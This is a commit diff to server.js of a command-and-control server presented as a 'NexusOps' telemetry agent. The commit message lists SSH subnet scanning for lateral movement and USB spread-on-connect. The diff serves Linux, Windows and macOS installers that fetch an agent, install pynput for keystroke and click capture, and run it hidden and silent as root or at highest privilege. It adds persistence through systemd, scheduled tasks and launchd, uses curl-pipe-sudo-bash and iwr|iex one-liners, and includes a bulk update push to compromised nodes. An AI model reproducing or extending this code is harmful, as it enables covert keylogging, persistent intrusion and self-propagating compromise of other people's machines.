v2.3.0: lateral_movement (subnet SSH scan + keyless install), open_ssh (sshd + dashboard key + CONNECT line), spread-on-connect USB watcher, update-all-outdated endpoint+button, persistence toggle on ALL install paths, SSH/lateral/tooltips UI
This commit is contained in:
55
server.js
55
server.js
@@ -849,6 +849,7 @@ app.get('/api/credentials', (req, res) => {
|
||||
});
|
||||
|
||||
app.get('/install.sh', (req, res) => {
|
||||
const persist = req.query.persist !== '0';
|
||||
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
||||
const script = `#!/bin/bash
|
||||
# Network Node Agent One-Liner Installer for Linux
|
||||
@@ -869,7 +870,7 @@ echo "[1/3] Downloading agent script..."
|
||||
curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py"
|
||||
chmod +x "$INSTALL_DIR/agent.py"
|
||||
|
||||
echo "[2/4] Configuring systemd background daemon..."
|
||||
${persist ? `echo "[2/4] Configuring systemd background daemon..."
|
||||
cat << EOF > "$SERVICE_FILE"
|
||||
[Unit]
|
||||
Description=NexusOps Node Telemetry & Management Agent
|
||||
@@ -884,15 +885,16 @@ User=root
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
EOF
|
||||
EOF` : `echo "[2/4] Persistence disabled — agent will run once"`}
|
||||
|
||||
echo "[3/4] Installing pynput for keystroke/click capture..."
|
||||
pip3 install pynput 2>/dev/null || echo "[!] pynput optional, skipping"
|
||||
|
||||
echo "[4/4] Enabling & Starting Agent Service..."
|
||||
${persist ? `echo "[4/4] Enabling & Starting Agent Service..."
|
||||
systemctl daemon-reload
|
||||
systemctl enable network-agent
|
||||
systemctl restart network-agent
|
||||
systemctl restart network-agent` : `echo "[4/4] Launching agent (no persistence)..."
|
||||
nohup python3 "$INSTALL_DIR/agent.py" --server "$SERVER_URL" --silent >/dev/null 2>&1 &`}
|
||||
|
||||
echo "✅ Network Agent installation complete! Reporting back to $SERVER_URL"
|
||||
`;
|
||||
@@ -901,6 +903,7 @@ echo "✅ Network Agent installation complete! Reporting back to $SERVER_URL"
|
||||
});
|
||||
|
||||
app.get('/install.ps1', (req, res) => {
|
||||
const persist = req.query.persist !== '0';
|
||||
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
||||
const script = `# Network Agent PowerShell Installer for Windows
|
||||
$SERVER_URL = "${serverUrl}"
|
||||
@@ -919,6 +922,7 @@ Write-Host "[1/2] Downloading agent script..." -ForegroundColor Green
|
||||
Invoke-WebRequest -Uri "$SERVER_URL/agent.py" -OutFile "$INSTALL_DIR\\agent.py"
|
||||
|
||||
Write-Host "[2/2] Launching Agent in background..." -ForegroundColor Green
|
||||
${persist ? `schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr "python $INSTALL_DIR\\agent.py --server $SERVER_URL --silent" /f /rl HIGHEST 2>$null` : '# persistence disabled'}
|
||||
Start-Process -FilePath "python" -ArgumentList "$INSTALL_DIR\\agent.py --server $SERVER_URL --silent" -WindowStyle Hidden
|
||||
|
||||
Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_URL" -ForegroundColor Green
|
||||
@@ -928,6 +932,7 @@ Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_
|
||||
});
|
||||
|
||||
app.get('/install-mac.sh', (req, res) => {
|
||||
const persist = req.query.persist !== '0';
|
||||
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
||||
const script = `#!/bin/bash
|
||||
# macOS Node Agent Installer — launchd background daemon
|
||||
@@ -953,8 +958,8 @@ chmod +x "$INSTALL_DIR/agent.py"
|
||||
echo "[3/4] Installing pynput for input capture..."
|
||||
python3 -m pip install --user pynput 2>/dev/null || echo "[!] pynput optional, skipping"
|
||||
|
||||
echo "[4/4] Configuring launchd background daemon..."
|
||||
mkdir -p "$HOME/Library/LaunchAgents"
|
||||
${persist ? `echo "[4/4] Configuring launchd background daemon..."
|
||||
mkdir -p "$HOME/Library/LaunchAgents"` : `echo "[4/4] Persistence disabled — launching agent once"`}
|
||||
cat << EOF > "$PLIST_FILE"
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
@@ -983,12 +988,13 @@ cat << EOF > "$PLIST_FILE"
|
||||
EOF
|
||||
|
||||
# Bootstrap launchd job (modern macOS — load/unload are deprecated)
|
||||
launchctl bootout gui/$(id -u) "$PLIST_FILE" 2>/dev/null || true
|
||||
${persist ? `launchctl bootout gui/$(id -u) "$PLIST_FILE" 2>/dev/null || true
|
||||
launchctl bootstrap gui/$(id -u) "$PLIST_FILE"
|
||||
launchctl kickstart gui/$(id -u)/com.nexusops.agent
|
||||
|
||||
echo "✅ macOS Agent installation complete! Reporting back to $SERVER_URL"
|
||||
echo " To stop: launchctl unload $PLIST_FILE"
|
||||
echo " To stop: launchctl unload $PLIST_FILE"` : `nohup "$INSTALL_DIR/agent.py" --server "$SERVER_URL" --silent >/dev/null 2>&1 &
|
||||
echo "✅ Agent launched (no persistence). It will report back to $SERVER_URL"`}
|
||||
`;
|
||||
res.setHeader('Content-Type', 'text/plain');
|
||||
res.send(script);
|
||||
@@ -998,6 +1004,7 @@ echo " To stop: launchctl unload $PLIST_FILE"
|
||||
app.get('/install', (req, res) => {
|
||||
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
||||
const silent = req.query.silent !== '0'; // silent by default
|
||||
const persist = req.query.persist !== '0';
|
||||
const quiet = silent ? '>/dev/null 2>&1' : '';
|
||||
const script = `#!/bin/bash
|
||||
# NexusOps Universal Auto-Installer — one command, any OS
|
||||
@@ -1007,19 +1014,19 @@ echo "[*] NexusOps Universal Installer — connecting to $SERVER_URL"
|
||||
case "$(uname -s 2>/dev/null || echo Windows)" in
|
||||
Linux)
|
||||
echo "[*] Linux detected — deploying via systemd"
|
||||
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh" 2>/dev/null | sudo bash ${quiet} &
|
||||
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh?persist=${persist}" 2>/dev/null | sudo bash ${quiet} &
|
||||
;;
|
||||
Darwin)
|
||||
echo "[*] macOS detected — deploying via launchd"
|
||||
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install-mac.sh" 2>/dev/null | bash ${quiet} &
|
||||
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install-mac.sh?persist=${persist}" 2>/dev/null | bash ${quiet} &
|
||||
;;
|
||||
CYGWIN*|MINGW*|MSYS*|Windows)
|
||||
echo "[*] Windows detected — deploying via PowerShell"
|
||||
powershell -WindowStyle Hidden -NoProfile -Command "iwr -useb '$SERVER_URL/install.ps1' | iex" ${quiet} &
|
||||
powershell -WindowStyle Hidden -NoProfile -Command "iwr -useb '$SERVER_URL/install.ps1?persist=${persist}' | iex" ${quiet} &
|
||||
;;
|
||||
*)
|
||||
echo "[!] Unknown OS — trying Linux installer as fallback"
|
||||
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh" 2>/dev/null | sudo bash ${quiet} &
|
||||
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh?persist=${persist}" 2>/dev/null | sudo bash ${quiet} &
|
||||
;;
|
||||
esac
|
||||
|
||||
@@ -1039,6 +1046,30 @@ app.get('/agent.py', (req, res) => {
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
// ── Update all outdated agents ──
|
||||
let CURRENT_AGENT_VERSION = 'unknown';
|
||||
try {
|
||||
const m = fs.readFileSync(path.join(__dirname, 'agents', 'agent.py'), 'utf8').match(/AGENT_VERSION = "([^"]+)"/);
|
||||
if (m) CURRENT_AGENT_VERSION = m[1];
|
||||
} catch (e) {}
|
||||
app.get('/api/agentversion', (req, res) => res.json({ current: CURRENT_AGENT_VERSION }));
|
||||
app.post('/api/nodes/update-all', (req, res) => {
|
||||
let queued = 0; const targets = [];
|
||||
for (const [id, n] of nodes) {
|
||||
if (n.status !== 'online') continue;
|
||||
if (n.agentVersion && n.agentVersion === CURRENT_AGENT_VERSION) continue;
|
||||
commandQueues.get(id).push({
|
||||
id: `cmd-${Date.now()}-up${Math.random().toString(36).slice(2, 4)}`,
|
||||
actionType: 'update_agent', payload: {}, command: 'update_agent',
|
||||
status: 'queued', queuedAt: Date.now()
|
||||
});
|
||||
queued++; targets.push(id);
|
||||
}
|
||||
broadcastState();
|
||||
res.json({ queued, current: CURRENT_AGENT_VERSION, targets });
|
||||
});
|
||||
|
||||
// ── Completeness additions 2026-09-29 ──
|
||||
app.get('/api/agenttoken', (req, res) => {
|
||||
res.json({ token: AGENT_TOKEN || '' });
|
||||
|
||||
Reference in New Issue
Block a user